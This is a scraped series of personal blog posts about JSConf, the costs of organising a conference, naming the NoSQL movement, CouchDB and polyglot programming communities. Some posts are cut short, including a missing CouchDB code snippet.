JS is not the greatest programming language. No programming language is and none can ever be. They are all a close approximation to something the computer can understand. Every programming language has its benefits and its downfalls, we need to get to the point where we realize this and openly admit the negatives along with the positive. We need to stop presenting each new language or framework with zealotous “THIS IS THE BEST EVER” or coming out with rediculous metrics that “benchmark” two things that are not the same or aren’t actually benchmarking appropriate use. The world is big enough for all programming languages and frameworks, and to be honest - the world needs every programming language. Not more than a year ago, if you told someone that JS would be a serious contender in the server market you would have been laughed at, much like if you had said Ruby 10 years. Times change, needs shift, holding a single weapon makes you easy to combat and a horrible pirate. We are not “JavaScripter”s, not pythonistas, not rubyists - we are programmers. We need to improve ourselves in as many programming languages as we can get our minds around, because every language forces you to view the world in a slightly different way. We need to remove the trolls from our world. We need to stop comparing cocksizes - lets be blatantly honest here, we are all geeks. We are not rockstars, we are not ninjas, luckily though, we are all friends.
Confession time: I am not Mr. JSConf. I am not a leader nor all that good of a programmer. On a good night, I can pull together something but it won’t win any awards or medals. Before I started JSConf, I was completely unknown, like many speakers at JSConf US and EU. After this, I am going to return back to DC sit at my cubicle and work as hard as I can on my full time job. After that I am going to go home and enjoy the company of my family. I bring this up to make one thing very clear. I am nothing special. I am just like everyone of you, and honestly I don’t want to be anything special. This is not false modesty nor self deprecating, this is honesty. And honesty is what we need to be to ourselves and our fellow programmers. I am most worried about this issue above all others I have since discussed. It is pride and selfishness that have turned programming from an art into a cesspool. It has to stop now and we have to be the ones to do it. Why us? Well simply put because we are interesting lot, we come from all different programming languages and educational backgrounds. We have a rare opportunity and the perfect mix of curiousity, intelligence, and experience. We are sitting at an amazing time and we are amazing people - that is why it is up to us to do this.
So let this be the start of something great. We are going to improve our community, we are not going to let it become a ghetto. We are going to do this not for some misguided blind love of a single programming language but because we embrace all programming languages. We have the power and the knowledge to make these changes, to make the programming world a better place and in turn the entire world a better place. We are pirates. We are JSConf!
Thank you.
---
# CouchDB Snippet: Find the Biggest Object
Published: 2010-07-31T11:00:00.000-04:00
Updated: 2013-12-15T21:32:18.000-05:00
Source: https://www.voodootikigod.com/couchdb-snippet-find-the-biggest-object
> I use Apache CouchDB [http://couchdb.apache.org/] in the implementation of OurParents [http://www.ourparents.com] for holding a lot of our big data. One of the things I run into is a concern for the size of any specific object within the dataset. When you have hundreds of thousands of documents eac...
I use [Apache CouchDB](http://couchdb.apache.org/?ref=voodootikigod.com) in the implementation of [OurParents](http://www.ourparents.com/?ref=voodootikigod.com) for holding a lot of our big data. One of the things I run into is a concern for the size of any specific object within the dataset. When you have hundreds of thousands of documents each of which with a lot of weight, finding the “big” objects can be a problem. Luckily, and full thanks to [Jan Lehnardt](http://jan.prima.de/?ref=voodootikigod.com), there is this little gem that leverages the underlying SpiderMonkey system within CouchDB to determine the size of a document based on the number of characters in it. Hope it helps you as much as it helps me:
**Map:**
---
# Hug a Conference Organizer
Published: 2010-06-21T11:00:00.000-04:00
Updated: 2013-12-15T21:32:58.000-05:00
Source: https://www.voodootikigod.com/hug-a-conference-organizer
> As you may know, I, along with my wife, curate the rather successful JSConf [http://www.jsconf.us] which draws attendees from the international stage to present cutting edge JavaScript technology. Without a doubt, it has been our most ambitious project ever and continues to be a constant source of f...
As you may know, I, along with my wife, curate the rather successful [JSConf](http://www.jsconf.us/?ref=voodootikigod.com) which draws attendees from the international stage to present cutting edge JavaScript technology. Without a doubt, it has been our most ambitious project ever and continues to be a constant source of frustration and excitement for us. Being a developer and firm believer in the Open Source movement, I felt it my responsibility to speak up on a variety of issues that are of concern to me. This post will hopefully give you a very real and very raw view into the life of an independent conference organizer. There will undoubtably be a slew of comments about “you could have done X” or “you should have done Y” and those are, in fact, the inspiration for this post. If you don’t read any further, read this next line:
> **Organizing any event of any magnitude takes exponential effort and cost to the resulting “feel” of that event.**
This is something I have come to after years of starting small groups and increasingly large events. JSConf, or any conference as best I can tell, is no exception to this rule. I believe in part this is due to the veil that conference organizers (myself included) put up in order to hide the details in an effort to make the event seem perfect - the truth is very often far from. A conference or any event of substantial size is little more than herding cats with nothing but a spoon and a lot of faith that things will work out, despite any specific time instance. That’s it - complete and total chaos. If you don’t immediately understand what I mean, please continue.
**Venue**
Possibly the most complex and important decision of every conference is the venue. Trust me, the venue is also the most precarious and hazardous of all decisions related to the success of the conference. When an organizer selects a venue they are implicitly selecting the following items:
- Quality, variety, and costing of the food available
- IT capability for the entire conference
- Room cost and availability
- Total number of attendees
- General feel of the conference
- Location of the event
That is a tremendous amount of fundamental concerns that all must be done prior to even the first thought of the conference. Factor in that no hotel seems to be affected by the ongoing economic troubles suffered by everyone else, or at least that is the front they all put up, and before even setting forth, the organizer begins to question their decision. Think about this, at a technology conference, you are selecting the basis for every major component that makes or breaks the conference (internet, room rates, number, feel, food) roughly 6-8 months in advance with little to no validation that the conference will work or who will show up.
_Lodging_
Worse still, you are dedicating roughly 55% of your budget to a group that is only contractually required to turn the lights on and unlock the doors. Organizers have little to no protection in venue contracts, but bear all of the risk. If you assume a hotel for “ease of selection”, the organizer has to guarantee at their own personal risk a room block, meaning a set of rooms that must be filled by certain number of attendees otherwise you pay for the rooms to be vacant. You have to make the estimate on the size of the room block long before you really even know the numbers of attendees AND you cannot increase the size without going through another round of negotiation with the hotel. So you are stuck trying to fill rooms in a hotel to (normally) within a 5 room night space considered “acceptable” by the hotel. Worse still, the room rate is “offered” with little bearing to the market and little control over any “considerations”. Most hotels will offer the organizer a “price lower than any other available”, but will sell the rooms on Priceline/Hotwire for at or below the event price. Aside from the organizer or an attendee actually booking a room through such services, the organizer will never find out and therefore can never exercise the contract line item - rendering it completely useless.
The mere selection of the venue is a precarious clusterfuck as well, if you choose a venue in the city which affords excitement and self-directed activities for the attendees, you can look for a room rate of $200-$500/night for your attendees at first negotiation. That pretty much prohibits anyone from attending except for local people who do not help you on the aforementioned room block issue. Also you have to factor in that the cost of the hotel room directly affects the cost of the conference, since you will most likely be providing a space for your invited speakers (yet to be determined) to stay. Consider a two day (16 speakers) single track conference, the cost of hosting speakers so you can ensure that they are ready and “on-call” normally runs roughly $15,000-$30,000 of the budget. This is also why negotiating the venue is absolutely essential, but it is very stressful, frustrating, and can build a tremendous amount of hostility between the organizer and the venue early on, yielding a less than satisfying relationship on going.
If you hold the conference outside the city, the price does go down to anywhere from $100-$250, but the organizer has to balance the likelihood of someone taking a taxi from the nearest airport to get to your conference, which decreases with every mile out from a major airport. Since you aren’t in a major metropolis (possibly in the suburbs) you likely will have to find (or create) things for your attendees to do/see/eat outside of the conference. Or you could just not care - but then the perceived quality of the conference rapidly degrades, because the attendees will just go back to their rooms and complain. So now you are looking at a social budget and the first thing you will consider is the hotel. Hotel parties cost anywhere from $10,000 - $14,000 for a group the size of 150 people, because according to their analysis people will consume $86 worth of food and drink over two hours. Stop for a second a re-read that, you could send everyone to the fanciest of restaurants in the region for that price, but instead you are going to pay that for chicken-on-a-stick and Bud Light. On top of that there is generally a 22%-30% gratuity that must be paid to thank the people cooking and serving the food - regardless of their performance. It is without a doubt, impossible to justify the cost so the organizer will now have to find a new venue for the social events, making it exponentially more complex.
And then there is food and beverages during the day. Most hotels and venues will not let you bring in outside food, feigning rules of “state law” and “labor restrictions” - all of which is complete hogwash barring two states. So they will provide the organizer with the only option for food, which comes with prices that are outrageous. By outrageous, I mean $26 per person for a “continental breakfast” of day-old pastries and $40 per person for deli sandwiches. So for a given attendee, you are looking at spending anywhere from $50 - $75 per person per day. This amount will be even higher if you attempt accommodate your guests throughout the day with coffee and sodas which can easily range from $28 - $36 per person, per day. So tabulating that out, if you run a conference for 150 people spread over 2 days, you are looking at a base price for accommodating your guests of roughly $34,000 on average.
So as a conference organizer, just to get started, you require about $50,000 to just secure the base essentials of speakers and food/beverage. So next time you complain about the price of admission to event X or conference Y consider this, in order to break even for an “ok” event in a reasonable place, the bear minimum the conference organizers should charge without expectation of sponsorship is $189 per day per person. That is just covering your attendance and the presence of the speakers for the event. Mind you that is only a one track conference, as you add more tracks the number of “compensated” speakers grows normally at the exchange of paying guests, which directly changes the cost per person per day. Furthermore that number does not cover the cost of speaker travel, which can range anywhere from $300 to $700 per speaker.
* * *
I have been sitting on this post for a while, I do intend on continuing the series, but I wanted to get this out. Seriously, stop bitching about grass roots conferences, if you have an issue with them, then offer to help - it will be gladly accepted. The grass roots, organic conference movement has provided some of the most amazing events in the technology industry, but they are fading because the response is generally one of “OMG I HATE YOU” or “WTF YOU FAILED ON…” instead of looking at what positive things were done. If you think you can do better, I encourage you to go for it. You will have a new appreciation for every other event you attend thereafter.
---
# NoSQL: A Modest Proposal
Published: 2009-09-01T11:00:00.000-04:00
Updated: 2013-12-15T21:34:03.000-05:00
Source: https://www.voodootikigod.com/nosql-a-modest-proposal
> The NoSQL movement was coined to describe the variety of revolutionary data storage engines and techniques being aggressively developed to address massive and dynamic data sets. The rise in trending for non-traditional data storage techniques has seen a breadth and depth of variety of new technologi...
The NoSQL movement was coined to describe the variety of revolutionary data storage engines and techniques being aggressively developed to address massive and dynamic data sets. The rise in trending for non-traditional data storage techniques has seen a breadth and depth of variety of new technologies, ideas, and most importantly innovation that solves specific problems as datasets at scale. The largest of web applications have either included or switched to one of the following data storage engines that are capable of working with massive data in an elegant fashion (elegance is defined within terms of the target domain):
- [Cassandra](http://incubator.apache.org/cassandra/?ref=voodootikigod.com)
- [Redis](http://code.google.com/p/redis/?ref=voodootikigod.com)
- [CouchDB](http://couchdb.apache.org/?ref=voodootikigod.com)
- [Riak](http://riak.basho.com/?ref=voodootikigod.com)
- [Dynomite](http://wiki.github.com/cliffmoon/dynomite?ref=voodootikigod.com)
- [Neo4J](http://neo4j.org/?ref=voodootikigod.com)
- [MongoDB](http://mongodb.org/?ref=voodootikigod.com)
There is very little that generally describes these technologies, they each accomplish “data-at-scale” through different techniques ([CAP Theorem](http://camelcase.blogspot.com/2007/08/cap-theorem.html?ref=voodootikigod.com), Collection Oriented, Column Oriented, and Key-Value) and optimize for different workflow processes. One data storage does not rule them all, but they all represent something different from “traditional solutions” like MySQL, PostrgreSQL, DB2, SQL Server, and Oracle. These solutions have dominated the data storage component of applications for many years and in many environments and work great for certain workflows. The problem is that these solutions became a golden hammer for which any data storage problem was a nail and thus SQL became the “only choice” for data solutions. This has been further exacerbated with the consolidation of various SQL implementations by vendors purchasing one another in a constant battle to be the “one” solution as well as a rampant and generally unchecked marketing drive to ensure SQL’s continued dominance in the market.
It’s because of this David versus Goliath battle that the NoSQL movement embraced such a “rebellious” name - it’s easier to band together a group of people with mild differences if you can demonize a single opponent or group of opponents. This is typical for many “new concepts”, both in technology and otherwise, and has been historically advantageous for a small ragtag group to gain wider favor. Case in point, [Ruby on Rails](http://rubyonrails.org/?ref=voodootikigod.com) would have been relegated to the ‘Yet Another Framework’ category except that it was able to rally against the burning dynamo of Java and Enterprise by demonizing it. In the Rails case, by the leaders implying that everything “enterprisey” or “professional” was evil without consequence or concern led to quite a following until eventually “The Enterprise” became Rails and Rails became “The Enterprise”, of course not without abusive language and various less-than-professional presentations. Neither here nor there, this is not about Rails, its about a rebellious movement against what the name “SQL” has stood for and less about the Structured Query Language itself. Hence the name NoSQL became a moniker that simultaneously drew together the disparate tribes of next generation data storage AND identified and demonized the opposition.
**In The Name of “SQL”**
Traditional solutions are commonly generalized to their most common element, the [Structured Query Langauge](http://en.wikipedia.org/wiki/SQL?ref=voodootikigod.com) (SQL) that is used to query the data. For the most part that is the only common link between the wide variety of “SQL” based data storage engines. One might argue that, and properly so, that common SQL implementations all provide for a method of persisting relationships between data, but the specific means of implementation vary. Case in point, Foreign Keys, the standard means of associating one data element to another, are not common or enforced in all SQL implementations, in fact the [MyISAM](http://dev.mysql.com/doc/refman/5.0/en/myisam-storage-engine.html?ref=voodootikigod.com) storage engine in MySQL disregards Foreign Key Constraints entirely. The path of defining a classification of data storage techniques is ill begotten from the start because each database is its own beast, with benefits and downsides that overlap and stand disjoint. The common term of a SQL database, in fact, tells you very little about the database except that you might have some vague intuition of how to query it if you have use any other SQL database, but if you use the data storage in any manner beyond trivial you are forced into niche syntax specific to the engine you are using.
I draw this out because most people view the NoSQL movement as a rage against the classification of databases known to be SQL-compliant or the syntax employed to query said databases - it isn’t. At least no more so than Rails was raging against the “Enterprise” when few if any of them had really worked in the [THE ENTERPRISE](http://www.usajobs.gov/?ref=voodootikigod.com) for any period of time. NoSQL, like Rails, is raging against the dominance of a beast that has for a period of time been unchecked, out of control, and applied in far too many ill appropriate ways. NoSQL is not a revolution against the Structured Query Language any more so than [Adam’s proffered suggestion of “Post-Relational”](http://therealadam.com/archive/2009/08/31/its-not-nosql-its-post-relational/?ref=voodootikigod.com) is a revolution against the relational model and normalized data forms - that, my friends, would be ludicrous. Especially since various engines the movement either embrace the SQL syntax, but just as many if not more, deeply embrace the concept of relationships even through the guise of embedding of data. We are not “after relationships”, in fact we are finally getting to a point where they are just now being useful at scale. And there is that word again, at scale.
**What is in a Name?**
NoSQL will for a time remain to be called NoSQL, either over Twitter or in backrooms filled with beer, coffee, and laptops. Let’s be honest here #postrelational is ridiculous especially if you are going to re-tweet it or talk about it in public. The modern era of naming is driven by small, tight, and descriptive terms. Furthermore it fails to accomplish the goals set forth by its inventor of defining the movement in terms of itself, its virtues, and its abilities instead of on the attributes of SQL. Defining the movement as either NoSQL or PostRelational is still a definition in terms of “SQL” and its “failures”, further the term “post” implies that SQL is somehow run its course or is over - which is very much not true and will remain so for as far as I care to peer into the future without a DeLorean. The naming of the movement needs to be something both descriptive and meaningful, broadly appealing yet concise, and most important defined in terms of itself.
_While I personally am not a fan of Post-Relational, I greatly applaud Adam for starting the discussion and putting forth an idea._
**My Ever Depreciating American Two Cents**
We seem to be at a naming impasse with few alternative suggestions and while I do love complaining, I have learned that complaints without plausible solutions is just veiled trolling. I don’t roll like that. Here are my suggestions:
1. We get a group to come up with the name of interested parties. This is similar to what was done for the renaming of the ServerJS group to CommonJS, everyone of interest and importance was present, threw in their ideas, group votes, and its done. Print T-Shirts, badges, various little handouts on why we switched names, and its done. Having people write blogs or twitter posts throwing out ideas is like crapping your pants, it just stinks. My main suggestion is that (and with a little self promotion admittedly) we make a point at the upcoming [NoSQL East conference](http://nosqleast.com/2009/?ref=voodootikigod.com) to plan a discussion on renaming the movement. Either be there in person or be there on IRC, which ever serves you best. We take an hour spit board ideas and make a decision as a movement and rally behind it. Hurt feelings are left at the door.
2. We would be remiss as a body of intellectuals to exclude or preclude the revolutionary and transformative changes occurring around us in the “messaging” space with RestMS, AMQP, and the others. These, and the current NoSQL movement, seek a common goal: Better widely available technology for high scale with limited or predictable infrastructure requirements. Its all about data. Where NoSQL is dealing with storage or querying, messaging deals with movement and action. ITS JUST DATA. Joining the movements would not be a bad idea as they are conceptually supportive of one another.
3. The name should be something refreshing, expressive, and concise. Might sound a little marketing like, but here are my suggestions to get the ideas going:
- CloudData
- WebScale
- Big Data
- NoORACLE Movement (purely a joke, but possibly)
---
# JSConf Goes to Europe
Published: 2009-08-13T11:00:00.000-04:00
Updated: 2013-12-15T21:36:15.000-05:00
Source: https://www.voodootikigod.com/jsconf-goes-to-europe
> Today, JSConf [http://www.jsconf2009.com] announced plans to take over another continent, Europe. On November 7th and 8th, 2009, the JSConf team will be presenting the first ever JSConf.eu [http://jsconf.eu/2009/] in Berlin, Germany. This is an exciting event driven by the German contingency of the...
Today, [JSConf](http://www.jsconf2009.com/?ref=voodootikigod.com) announced plans to take over another continent, Europe. On November 7th and 8th, 2009, the JSConf team will be presenting the first ever [JSConf.eu](http://jsconf.eu/2009/?ref=voodootikigod.com) in Berlin, Germany. This is an exciting event driven by the German contingency of the JSConf team, namely [Holger](http://twitter.com/hblank?ref=voodootikigod.com), [Malte](http://twitter.com/cramforce?ref=voodootikigod.com), and [Jan](http://twitter.com/janl?ref=voodootikigod.com). The preliminary speaker list is up on the web site [http://jsconf.eu](http://jsconf.eu/?ref=voodootikigod.com) and its stunning! We are definitely upping the ante and thats how it should be, conference after conference! Be sure to get your ticket for JSConf.eu it will sell out fast.
---
# JavaScript- The Great Part
Published: 2009-04-28T11:00:00.000-04:00
Updated: 2013-12-15T21:37:42.000-05:00
Source: https://www.voodootikigod.com/javascript-the-great-part
> Laura and I just wrapped up JSConf 2009, which evidently [http://search.twitter.com/search?q=jsconf] went [http://www.michaelharrison.ws/weblog/?p=132] over [http://www.blueskyonmars.com/2009/04/27/jsconf-2009-the-best-conference-you-couldnt-attend/] very [http://www.subprint.com/blog/jsconf-2009-...
Laura and I just wrapped up JSConf 2009, which [evidently](http://search.twitter.com/search?q=jsconf&ref=voodootikigod.com "Twitter Search: JSConf") [went](http://www.michaelharrison.ws/weblog/?p=132&ref=voodootikigod.com) [over](http://www.blueskyonmars.com/2009/04/27/jsconf-2009-the-best-conference-you-couldnt-attend/?ref=voodootikigod.com) [very](http://www.subprint.com/blog/jsconf-2009-day-one/?ref=voodootikigod.com) [well](http://www.subprint.com/blog/jsconf-2009-—-day-two/?ref=voodootikigod.com). We couldn’t be more happy with the way the conference went; the attendees, the speakers, the excitement, and the energy - it was the best conference we have ever been to, even though we spent most of the time running around. There was a lot of time and preparation that went into JSConf 2009 to ensure that each detail, each idea was carefully tailored to the community. For those of you that attended and those that were unable to, we will be posting the videos over the coming months - every presentation was amazing so be sure to check out all of them.
On to the focus of this post - the JavaScript community has long since taken a side saddle or back seat to other less capable and less prevalent languages. The presentations drew out the amazing genius and talent that happily and quietly thrives in the community. If you just look at the Track A sessions (listed on the [web site](http://www.jsconf2009.com/speakers.html?ref=voodootikigod.com)) you will see that JavaScript spreads across mobile, data, desktop, testing, and its old familiar, the web. But its more than that, what you don’t see on the web site (yet) is the wonderful Track B and Hacker Lounge items that happened during JSConf 2009. The presentations in Track B were easily all on par with Track A and covered an even wider range of topics from typography to programmatic music generation to server side JavaScript.
That all said, the most amazing part of the conference was not the presentations. At this conference you had some of the smartest people in the programming world talking about a language that is unfortunately thought of as a necessary evil. Everyone was jovial, welcoming, friendly, and communal it was truly a community. There was no dominant “rockstar” that parade around overly proud of themselves, despite the amazing things that every individual in attendance has (and will further) accomplish. That is the greatest part of the JavaScript community - it is truly a thriving community flush with talented people. This doesn’t just include the speakers and attendees. The sponsors of JSConf - [R/GA](http://www.rga.com/?ref=voodootikigod.com), [Mozilla](http://www.mozilla.org/?ref=voodootikigod.com), [Joyent](http://www.joyent.com/?ref=voodootikigod.com)/[Sun](http://www.sun.com/?ref=voodootikigod.com), and [Yahoo!](http://www.yahoo.com/?ref=voodootikigod.com) - were amazingly willing to turn down the “marketing” and instead embrace and grow the community. Their own spread of capabilities - Digital Agency, Web Company, Platform Providers, Search and Development Networks, respectively - shows the range and impact of JavaScript. The fact that there was 130 of the smartest, most driven, and widest ranging people and companies present at JSConf 2009 and each person you met was incredibly humble and friendly - that is how I know that this is the community I want to be a part of.
This was the first conference that actually turned and focused in on JavaScript, the programming language, so this was a unique experience and that may have a hand in the humility of all - most people in attendance barely knew more than 4 other people in attendance, so we all arrived forced to make new friends. There is something there, though, that makes me proud of this community; instead of shelling up attendees made a concerted effort to meet, greet, and build relationships with one another. This conference was more than just a single event or moment in time - we have started a revolution. We are building a better community because we, JavaScript developers, have the rare capacity to understand that there is more to learn from using many languages and concepts than to arrogantly assume ours is the best and only solution. I am not trying to decry the value, processes, or importance of other language communities, just making a stand that we should continue to grow the JS community with a focus on talent, humility, and cooperation.
We are JavaScript, we welcome you to join us for the ride!
---
# Come to JSConf 2009
Published: 2009-02-11T12:00:00.000-05:00
Updated: 2013-12-15T21:38:24.000-05:00
Source: https://www.voodootikigod.com/come-to-jsconf-2009
> As you may know from previous posts, I am arranging JSConf 2009 which is shaping up to be one amazing conference focused around JavaScript in all forms. We have arranged some of the greatest visionaries and developers within the JS community from John Resig of jQuery to Jason Huggins from Selenium t...
As you may know from previous posts, I am arranging JSConf 2009 which is shaping up to be one amazing conference focused around JavaScript in all forms. We have arranged some of the greatest visionaries and developers within the JS community from John Resig of jQuery to Jason Huggins from Selenium testing environment. This is an incredible opportunity for anyone doing web based development regardless of the language. JSConf 2009 will be held in Arlington, VA between April 24 and 25, 2009, which makes it a great local event for everyone in the region. The conference brings together 16 speakers to present on JavaScript development in the browser, mobile, desktop, and server environments. If you haven’t had much of a chance to do some deep JavaScript work, but have done Java development, this conference is the best way to learn from some of the best. Although many people don’t realize it, JavaScript can also be used to build thick client desktop applications. In addition, it is one of the only languages to successfully bridge object oriented and functional programming in a way that anyone can use it.
We are keeping the conference small and intimate so you will be able to interact with the speakers and attendees during the day and during the social events. The conference costs $450 right now for two days worth of speakers, breakfasts, lunchs, and a beer and wine tasting. If you are looking for more work, this conference has also drawn the attention of a lot of hiring employers who are looking for developers.
If you are interested in going, I would recommend getting your tickets soon at [http://jsconf2009.eventbrite.com](http://jsconf2009.eventbrite.com/?ref=voodootikigod.com) as they are selling quickly. For more information or other speakers, check the website at [http://www.jsconf2009.com](http://www.jsconf2009.com/?ref=voodootikigod.com) Thank you for your time and hope to see you at JSConf!
---
# So Long and Thanks for All the Ducks...
Published: 2008-11-21T12:00:00.000-05:00
Updated: 2013-12-15T21:39:15.000-05:00
Source: https://www.voodootikigod.com/so-long-and-thanks-for-all-the-ducks
> Over the past several months that has been an increase in the number of blog entries and twitter messages about Ruby and while that is nothing new since Rails hit the scene, the tone of these messages are growing detectably darker. The past two days have bubbled up two posts, that I highly recommend...
Over the past several months that has been an increase in the number of blog entries and twitter messages about Ruby and while that is nothing new since Rails hit the scene, the tone of these messages are growing detectably darker. The past two days have bubbled up two posts, that I highly recommend reading, from people well respected in the community, [Why the Lucky Stiff](http://hackety.org/2008/11/21/aCostlyParade.html?ref=voodootikigod.com) and [Dave Fayram (KirinDave)](http://kirindave.tumblr.com/post/60776407/the-opposite-of-momentum?ref=voodootikigod.com), which fall inline with similar posts from [Raganwald](http://weblog.raganwald.com/2008/07/brief-history-of-dangerous-ideas.html?ref=voodootikigod.com) and [Zed Shaw](http://www.zedshaw.com/rants/rails_is_a_ghetto.html?ref=voodootikigod.com). While I agree with the full range of comments and thoughts described in these varied posts, there is a thread of disenchantment to them that, especially coming from [Why](http://whytheluckystiff.net/?ref=voodootikigod.com), is very painful. These developers have built wonderful things within the community, pillars upon which most other elements now either stand or are greatly influenced.
I think the problem that most developers are running into is not about Ruby specifically, but about the “Gold Rush” mentality that we exude for each new programming language. Anytime there is something shiny and new, we are driven to it with vivid fascination and undoubtably we like what we see or we troll it, there rarely is a middle ground. If we like what we see, we try to get as engrained in the community as possible, looking for our chance at spotlight and greatness, seeking our project of worth. Sometimes that is monetary greatness, sometimes its respect, and often times its just being known. We are mostly driven by the desire to not let our programming skills go unnoticed and that we can change the world and do great things. When you are driven by such a motive, you have to realize that its hard to verify/validate that motive because it is an insatiable hunger that eventually begins to feed on itself. You will never have that concrete “This kick ass thing that you can hold and see on the lapels of friends is my idea” except in very rare cases (Twitter, Google, etc.). I am guilty of this myself, so by no means think otherwise.
I digress. The issues that people are running into with the Ruby community, personal observation, are not Ruby’s fault. The are the fault of an innate desire within developers to create. That desire has to be there to make us get up and converse with binary electrical equipment all day and toil with its incessant cryptic messages. We are Dr. Frankensteins. We need to continually experiment and push and when our material, our canvas, cannot sustain new experimentation we throw it out (in flames sometimes) and move to the new material that seems foreign, different, and exciting. And so “upstart” communities within technology sphere jump from one bandwagon to the next and have been doing so ever since we made technology in to a [religious war](http://blog.obiefernandez.com/content/2008/11/smackdown-at-pro-rubyconf-08.html?ref=voodootikigod.com). Is vi better than emacs, who cares. Ruby vs Python, Python vs Java, Linux vs Windows – its too much for no benefit. People will use what they use, if its new and shiny and can help you, then use it. To clarify the linking is in no way meant to put Obie or his smackdown in ill terms, its just an example of how fractured people can become over little issues.
Hows about this, instead of banding together as a community of rubyists, cocoaheads, or erlangers and declaring all out war on anyone not in the community, why not claim ourselves to be polyglots and build a community around sharing. Languages should not be battle crys, they are materials with which we can create great things. Imagine if you [blended](http://github.com/ezmobius/nanite/tree/master?ref=voodootikigod.com) [languages](http://github.com/KirinDave/fuzed/tree/master?ref=voodootikigod.com) and the new creations you could make. What if the limitations of a language were reason for you to just look for something else and connect the two up. We need to get past “I am \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ (Language User)” and focus on “I am a developer and will use anything to paint my masterpiece”.
And with this post, please pass the salt - thanks.
---
# JSConf 2009
Published: 2008-11-17T12:00:00.000-05:00
Updated: 2013-12-15T21:40:44.000-05:00
Source: https://www.voodootikigod.com/jsconf-2009
> For several weeks I have been using tweetdeck [http://www.tweetdeck.com/beta/] as my standard client for Twitter, not because of any issue with twitterriffic [http://iconfactory.com/software/twitterrific], but for the integration of search.twitter.com [http://search.twitter.com] feeds. I have two...
For several weeks I have been using [tweetdeck](http://www.tweetdeck.com/beta/?ref=voodootikigod.com "TweetDeck") as my standard client for Twitter, not because of any issue with [twitterriffic](http://iconfactory.com/software/twitterrific?ref=voodootikigod.com), but for the integration of [search.twitter.com](http://search.twitter.com/?ref=voodootikigod.com) feeds. I have two feeds that I track - one for [Erlang](http://search.twitter.com/search?q=erlang&ref=voodootikigod.com) and one for [Javascript](http://search.twitter.com/search?q=javascript&ref=voodootikigod.com) - due to their importance to [some of the projects](http://github.com/voodootikigod/dissident/tree/master?ref=voodootikigod.com) I am wish I was working on. One thing I quickly realized is that there is still a tremendous amount of people who have strong angst against JavaScript and seem to think of it a “sub-language”. I found this almost impossible given all the amazing things JavaScript does and its wide proliferation in nearly every environment. JavaScript is a critical element of nearly every web application framework and has been around longer than almost all of them. It is a language that exemplifies some of the core problems of modern languages in an exacerbated fashion (platform differences, security models, [prototype programming](//en.wikipedia.org/wiki/Prototype-based_programming), etc.) and does it in a fashion that most people can learn somewhat quickly, albeit not necessarily properly.
Then I began to think about other languages ([Ruby](http://ruby-lang.org/?ref=voodootikigod.com), [Java](http://www.java.com/en/?ref=voodootikigod.com), [.NET](http://www.microsoft.com/net/?ref=voodootikigod.com), etc.) and quickly realized that part of what makes these languages widely known and spotlighted is their community of dedicated developers. These developers generally meet at conferences and by meeting with one another they increase the visibility and excitement surrounding the language. From the conference many projects are started, videos presented, blogs written, and general knowledge conveyed that otherwise remained pocketed. There are a few things I have learned in my conference trips:
- The more geographically and politically diverse the conference, the broader the knowledge base and wider spread of the change.
- The more dedicated the attendees, the more vibrant the culture and powerful the collaboration.
So I turned this light back into the JavaScript community and realized that as a JavaScript developers there is no core conference that just focuses on JavaScript. There are many that focus on the [effects](http://ajaxexperience.techtarget.com/?ref=voodootikigod.com) or [value](http://ajaxworld.com/?ref=voodootikigod.com) [adds](http://events.jquery.com/?ref=voodootikigod.com) of JavaScript, but not one that I could find that focused strictly on JavaScript, the language. Furthermore, there are only a handful of JavaScript User Groups in the world, which considering the widespread use of JavaScript, developers seem to have a hard time to gather around it.
From this realization, I decided to do something crazy and set up the first [JavaScript Conference](http://jsconf2009.com/?ref=voodootikigod.com) dedicated to deep JavaScript technology in all facets. I am trying to find speakers for everything from server side JavaScript to Processing.js to next generation technologies to security. Its a huge gamble, especially given the market factors, but I thought it was something that needed to be done. Since releasing the concept in the wild, I have learned some interesting things about the JavaScript community:
- NEVER USE THE WORD ROCKSTAR, OR IMAGERY OF A ROCKSTAR, OR THINK OF A ROCKSTAR. Just do not do it - I have corroborated this with other people in the community and its scary the results of this action.
- A lot of people agree with my contention that JavaScript deserves more attention and collaboration than it currently gets despite the huge number of tutorials, blogs, and documentation - one starts to think its a case of information overload and having to sort through it all becomes too cumbersome.
- The most exciting projects happening right now are happening in JavaScript and those working on the projects are very willing to share their knowledge.
I have to admit, I was not prepared for the reactions and excitement that this conference generated, but the response makes me a lot more confident in this conference. I am quite excited for it and the plans already, I can’t imagine where it is going to go from here. If you want to help out, please by all means contact us through the curator inquiry page on the site. We are trying to avoid sponsors similar to RubyFringe, but also would like to keep the price down, not entirely sure how we are going to pull off both - so please check the site often (as it does change almost daily).
---
# AJAX Head Design Pattern
Published: 2008-10-02T11:00:00.000-04:00
Updated: 2013-12-15T21:41:21.000-05:00
Source: https://www.voodootikigod.com/ajax-head-design-pattern
> Ken Collins from MetaSkills originally posted on his blog [http://www.metaskills.net/2008/5/24/the-ajax-head-br-design-pattern] about the concept of an Ajax Head pattern in which he describes a pattern for providing a thin controller API that is responsible for initial GET response and all other act...
Ken Collins from MetaSkills originally [posted on his blog](http://www.metaskills.net/2008/5/24/the-ajax-head-br-design-pattern?ref=voodootikigod.com) about the concept of an Ajax Head pattern in which he describes a pattern for providing a thin controller API that is responsible for initial GET response and all other actions beyond that are Boolean responses. He sums up the entire pattern, from his perspective, in a single quote:
> The AJAX head design pattern forces the view and controller to work in isolation with the most minimal coupling possible. Kind of like a web service.
I have been working on several projects that are utilizing a variant, or as I would contend the resultant of this pattern, in very interesting and rewarding ways. I wanted to provide a more robust and implementation agnostic definition to the pattern, because I believe this pattern is quite revolutionary in the world of web programming. It serves well to resolve many of the issues that plague web application development since it focuses on isolation, encapsulation, and delegation of responsibilities. I have chosen to describe this pattern, as I view it, using the model set forth by the [Patterns of Enterprise Application Architecture](http://www.amazon.com/Enterprise-Application-Architecture-Addison-Wesley-Signature/dp/0321127420?ref=voodootikigod.com) by [Martin Fowler](http://martinfowler.com/?ref=voodootikigod.com). I encourage you to read through the pattern and suspend or at least delay your immediate reaction until after you try using the pattern. In all cases that I have used it, it has felt more natural, more dynamic, and surprisingly faster than the competitive pattern of embedding dynamic data into static templates at run time. Enjoy.
## AJAX Head
